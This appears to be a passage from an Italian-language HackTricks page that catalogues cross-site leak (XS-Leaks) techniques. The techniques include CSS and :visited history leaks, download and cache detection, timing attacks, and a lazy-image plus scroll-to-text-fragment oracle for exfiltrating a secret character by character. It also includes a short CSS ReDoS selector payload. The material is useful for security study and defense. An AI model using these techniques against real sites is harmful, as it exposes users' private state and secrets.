* **HTMLImageElement**: Questo elemento rivela l'altezza e la larghezza di un'immagine. Tuttavia, se un'immagine è non valida, queste proprietà restituiranno 0 e la funzione `image.decode()` verrà rifiutata, indicando il fallimento nel caricamento corretto dell'immagine. [Ulteriori informazioni su HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)

### Proprietà CSS

* **Metodi di Inclusione**: Elementi HTML
* **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **Sommario:** Identificare variazioni nello stile del sito web che corrispondono allo stato dell'utente.
* **Esempio di Codice**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)

Le applicazioni web possono cambiare lo **stile del sito web a seconda dello stato dell'utente**. I file CSS cross-origin possono essere incorporati nella pagina dell'attaccante con l'**elemento link HTML**, e le **regole** verranno **applicate** alla pagina dell'attaccante. Se una pagina cambia dinamicamente queste regole, un attaccante può **rilevare** queste **differenze** a seconda dello stato dell'utente.\
Come tecnica di fuga, l'attaccante può utilizzare il metodo `window.getComputedStyle` per **leggere le proprietà CSS** di un elemento HTML specifico. Di conseguenza, un attaccante può leggere le proprietà CSS arbitrarie se l'elemento interessato e il nome della proprietà sono noti.

### Storia CSS

* **Metodi di Inclusione**: Elementi HTML
* **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **Sommario:** Rilevare se lo stile `:visited` è applicato a un URL indicando che è stato già visitato
* **Esempio di Codice**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)

{% hint style="info" %}
Secondo [**questo**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), questo non funziona in Chrome headless.
{% endhint %}

Il selettore CSS `:visited` viene utilizzato per stilizzare in modo diverso gli URL se sono stati visitati in precedenza dall'utente. In passato, il metodo `getComputedStyle()` poteva essere utilizzato per identificare queste differenze di stile. Tuttavia, i browser moderni hanno implementato misure di sicurezza per impedire a questo metodo di rivelare lo stato di un link. Queste misure includono il restituire sempre lo stile calcolato come se il link fosse stato visitato e il limitare gli stili che possono essere applicati con il selettore `:visited`.

Nonostante queste restrizioni, è possibile discernere lo stato visitato di un link in modo indiretto. Una tecnica coinvolge l'inganno dell'utente nell'interagire con un'area influenzata dal CSS, utilizzando specificamente la proprietà `mix-blend-mode`. Questa proprietà consente di mescolare gli elementi con lo sfondo, rivelando potenzialmente lo stato visitato in base all'interazione dell'utente.

Inoltre, la rilevazione può essere ottenuta senza interazione dell'utente sfruttando i tempi di rendering dei link. Poiché i browser possono renderizzare i link visitati e non visitati in modo diverso, ciò può introdurre una differenza di tempo misurabile nel rendering. È stato menzionato un proof of concept (PoC) in un report di bug di Chromium, dimostrando questa tecnica utilizzando più link per amplificare la differenza temporale, rendendo quindi lo stato visitato rilevabile attraverso l'analisi temporale.

Per ulteriori dettagli su queste proprietà e metodi, visita le loro pagine di documentazione:

* `:visited`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
* `getComputedStyle()`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
* `mix-blend-mode`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### ContentDocument X-Frame Leak

* **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Intestazioni
* **Ulteriori informazioni**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **Sommario:** In Google Chrome, viene visualizzata una pagina di errore dedicata quando una pagina viene bloccata dal essere incorporata in un sito cross-origin a causa delle restrizioni di X-Frame-Options.
* **Esempio di Codice**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)

In Chrome, se una pagina con l'intestazione `X-Frame-Options` impostata su "deny" o "same-origin" viene incorporata come un oggetto, compare una pagina di errore. Chrome restituisce in modo univoco un oggetto documento vuoto (anziché `null`) per la proprietà `contentDocument` di questo oggetto, a differenza degli iframe o di altri browser. Gli attaccanti potrebbero sfruttare questo rilevando il documento vuoto, rivelando potenzialmente informazioni sullo stato dell'utente, specialmente se gli sviluppatori impostano in modo inconsistente l'intestazione X-Frame-Options, spesso trascurando le pagine di errore. La consapevolezza e l'applicazione coerente delle intestazioni di sicurezza sono cruciali per prevenire tali falle.

### Rilevamento del Download

* **Metodi di Inclusione**: Frame, Pop-up
* **Differenza Rilevabile**: Intestazioni
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **Sommario:** Un attaccante può distinguere i download di file sfruttando gli iframe; la continuata accessibilità dell'iframe implica un download di file riuscito.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)

L'intestazione `Content-Disposition`, in particolare `Content-Disposition: attachment`, istruisce il browser a scaricare il contenuto anziché visualizzarlo inline. Questo comportamento può essere sfruttato per rilevare se un utente ha accesso a una pagina che attiva un download di file. Nei browser basati su Chromium, ci sono alcune tecniche per rilevare questo comportamento di download:

1. **Monitoraggio della Barra di Download**:
* Quando un file viene scaricato nei browser basati su Chromium, compare una barra di download nella parte inferiore della finestra del browser.
* Monitorando i cambiamenti dell'altezza della finestra, gli attaccanti possono dedurre l'apparizione della barra di download, suggerendo che è stato avviato un download.
2. **Navigazione del Download con Iframe**:
* Quando una pagina attiva un download di file utilizzando l'intestazione `Content-Disposition: attachment`, ciò non provoca un evento di navigazione.
* Caricando il contenuto in un iframe e monitorando gli eventi di navigazione, è possibile verificare se la disposizione del contenuto provoca un download di file (nessuna navigazione) o meno.
3. **Navigazione del Download senza Iframe**:
* Simile alla tecnica dell'iframe, questo metodo coinvolge l'uso di `window.open` anziché di un iframe.
* Monitorando gli eventi di navigazione nella finestra appena aperta è possibile scoprire se è stato attivato un download di file (nessuna navigazione) o se il contenuto viene visualizzato inline (si verifica una navigazione).

In scenari in cui solo gli utenti autenticati possono attivare tali download, queste tecniche possono essere utilizzate per dedurre indirettamente lo stato di autenticazione dell'utente in base alla risposta del browser alla richiesta di download.

### Bypass della Cache HTTP Partizionata <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>

* **Metodi di Inclusione**: Pop-up
* **Differenza Rilevabile**: Temporizzazione
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **Sommario:** Un attaccante può distinguere i download di file sfruttando gli iframe; la continuata accessibilità dell'iframe implica un download di file riuscito.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (da [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))

{% hint style="warning" %}
Questo è il motivo per cui questa tecnica è interessante: Chrome ora ha **la partizione della cache**, e la chiave della cache della pagina appena aperta è: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, ma se apro una pagina ngrok e faccio fetch su di essa, la chiave della cache sarà: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **chiave della cache è diversa**, quindi la cache non può essere condivisa. Puoi trovare maggiori dettagli qui: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
(Commento da [**qui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% endhint %}

Se un sito `esempio.com` include una risorsa da `*.esempio.com/risorsa` allora quella risorsa avrà la **stessa chiave di caching** come se la risorsa fosse stata richiesta direttamente tramite **navigazione di primo livello**. Questo perché la chiave di caching è composta da _eTLD+1_ di primo livello e _eTLD+1_ del frame.

Poiché l'accesso alla cache è più veloce del caricamento di una risorsa, è possibile provare a cambiare la posizione di una pagina e annullarla 20ms (ad esempio) dopo. Se l'origine è stata cambiata dopo l'annullamento, significa che la risorsa era in cache.\
Oppure si potrebbe semplicemente **inviare qualche fetch alla pagina potenzialmente in cache e misurare il tempo che impiega**.

### Redirect Manuale <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **Metodi di Inclusione**: Fetch API
* **Differenza Rilevabile**: Redirect
* **Ulteriori informazioni**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
* **Sommario:** È possibile scoprire se una risposta a una richiesta fetch è un redirect
* **Esempio di Codice**:

![](<../.gitbook/assets/image (652).png>)

### Fetch con AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **Metodi di Inclusione**: Fetch API
* **Differenza Rilevabile**: Temporizzazione
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **Sommario:** È possibile provare a caricare una risorsa e interrompere il caricamento prima che sia completato. A seconda se viene generato un errore, la risorsa è stata o non è stata memorizzata nella cache.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)

Utilizzare _**fetch**_ e _**setTimeout**_ con un **AbortController** per rilevare se la **risorsa è in cache** ed espellere una risorsa specifica dalla cache del browser. Inoltre, il processo avviene senza memorizzare nuovi contenuti.
### Inquinamento dello Script

* **Metodi di Inclusione**: Elementi HTML (script)
* **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **Sommario:** È possibile **sovrascrivere le funzioni integrate** e leggere i loro argomenti anche da uno **script cross-origin** (che non può essere letto direttamente), ciò potrebbe **rivelare informazioni preziose**.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)

### Service Workers <a href="#service-workers" id="service-workers"></a>

* **Metodi di Inclusione**: Pop-up
* **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **Sommario:** Misura il tempo di esecuzione di un sito web utilizzando i service workers.
* **Esempio di Codice**:

Nel caso preso in considerazione, l'attaccante prende l'iniziativa di registrare un **service worker** all'interno di uno dei loro domini, specificamente "attaccante.com". Successivamente, l'attaccante apre una nuova finestra nel sito di destinazione dal documento principale e istruisce il **service worker** a avviare un timer. Mentre la nuova finestra inizia a caricarsi, l'attaccante naviga il riferimento ottenuto nel passaggio precedente verso una pagina gestita dal **service worker**.

All'arrivo della richiesta avviata nel passaggio precedente, il **service worker** risponde con un codice di stato **204 (No Content)**, terminando efficacemente il processo di navigazione. A questo punto, il **service worker** cattura una misurazione dal timer avviato in precedenza nel secondo passaggio. Questa misurazione è influenzata dalla durata di JavaScript che causa ritardi nel processo di navigazione.

{% hint style="warning" %}
In un timing di esecuzione è possibile **eliminare** i **fattori di rete** per ottenere **misure più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
{% endhint %}

### Timing del Fetch

* **Metodi di Inclusione**: Fetch API
* **Differenza Rilevabile**: Timing (generalmente dovuto al Contenuto della Pagina, Codice di Stato)
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **Sommario:** Utilizzare [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) per misurare il tempo impiegato per effettuare una richiesta. Altri orologi potrebbero essere utilizzati.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)

### Timing tra Finestre

* **Metodi di Inclusione**: Pop-up
* **Differenza Rilevabile**: Timing (generalmente dovuto al Contenuto della Pagina, Codice di Stato)
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **Sommario:** Utilizzare [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) per misurare il tempo impiegato per effettuare una richiesta utilizzando `window.open`. Altri orologi potrebbero essere utilizzati.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'Accesso Oggi:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Con HTML o Re Iniezione

Qui puoi trovare tecniche per esfiltrare informazioni da un HTML cross-origin **iniettando contenuto HTML**. Queste tecniche sono interessanti nei casi in cui per qualsiasi motivo puoi **iniettare HTML ma non puoi iniettare codice JS**.

### Markup Sospeso

{% content-ref url="dangling-markup-html-scriptless-injection/" %}
[dangling-markup-html-scriptless-injection](dangling-markup-html-scriptless-injection/)
{% endcontent-ref %}

### Caricamento Pigro delle Immagini

Se hai bisogno di **esfiltrare contenuti** e puoi **aggiungere HTML prima del segreto** dovresti controllare le **tecniche comuni di markup sospeso**.\
Tuttavia, se per qualsiasi motivo **DEVI** farlo **carattere per carattere** (forse la comunicazione avviene tramite un hit di cache) puoi usare questo trucco.

Le **immagini** in HTML hanno un attributo "**loading**" il cui valore può essere "**lazy**". In tal caso, l'immagine verrà caricata quando viene visualizzata e non durante il caricamento della pagina:
```html
<img src=/something loading=lazy >
```
Quindi, ciò che puoi fare è **aggiungere molti caratteri spazzatura** (ad esempio **migliaia di "W"**) per **riempire la pagina web prima del segreto o aggiungere qualcosa come** `<br><canvas height="1850px"></canvas><br>.`\
Quindi, se ad esempio la nostra **iniezione appare prima della flag**, l'**immagine** verrà **caricata**, ma se appare **dopo** la **flag**, la flag + la spazzatura **impediranno il caricamento** (dovrai giocare con la quantità di spazzatura da inserire). Questo è ciò che è successo in [**questo writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).

Un'altra opzione sarebbe utilizzare il **scroll-to-text-fragment** se consentito:

#### Scroll-to-text-fragment

Tuttavia, fai **accedere al bot alla pagina** con qualcosa del genere
```
#:~:text=SECR
```
Quindi la pagina web sarà qualcosa del genere: **`https://vittima.com/post.html#:~:text=SECR`**

Dove post.html contiene i caratteri di junk dell'attaccante e un'immagine di caricamento lento e poi viene aggiunto il segreto del bot.

Ciò che questo testo farà è far sì che il bot acceda a qualsiasi testo nella pagina che contiene il testo `SECR`. Poiché quel testo è il segreto ed è proprio **sotto l'immagine**, l'**immagine si caricherà solo se il segreto indovinato è corretto**. Quindi hai il tuo oracolo per **esfiltrare il segreto carattere per carattere**.

Un esempio di codice per sfruttare ciò: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

### Caricamento Lento dell'Immagine Basato sul Tempo

Se non è **possibile caricare un'immagine esterna** che potrebbe indicare all'attaccante che l'immagine è stata caricata, un'altra opzione sarebbe provare a **indovinare il carattere più volte e misurare ciò**. Se l'immagine viene caricata, tutte le richieste richiederanno più tempo rispetto a quando l'immagine non viene caricata. Questo è ciò che è stato utilizzato nella [**soluzione di questo writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **riassunto qui:**

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

### ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}

### CSS ReDoS

Se viene utilizzato `jQuery(location.hash)`, è possibile scoprire tramite il timing **se esiste del contenuto HTML**, questo perché se il selettore `main[id='site-main']` non corrisponde, non è necessario controllare il resto dei **selettori**:
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### Iniezione di CSS

{% content-ref url="xs-search/css-injection/" %}
[iniezione-css](xs-search/css-injection/)
{% endcontent-ref %}

## Difese

Ci sono mitigazioni raccomandate in [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) anche in ogni sezione del wiki [https://xsleaks.dev/](https://xsleaks.dev/). Dai un'occhiata lì per ulteriori informazioni su come proteggerti da queste tecniche.

## Riferimenti

* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

<details>

<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Altri modi per supportare HackTricks:

* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}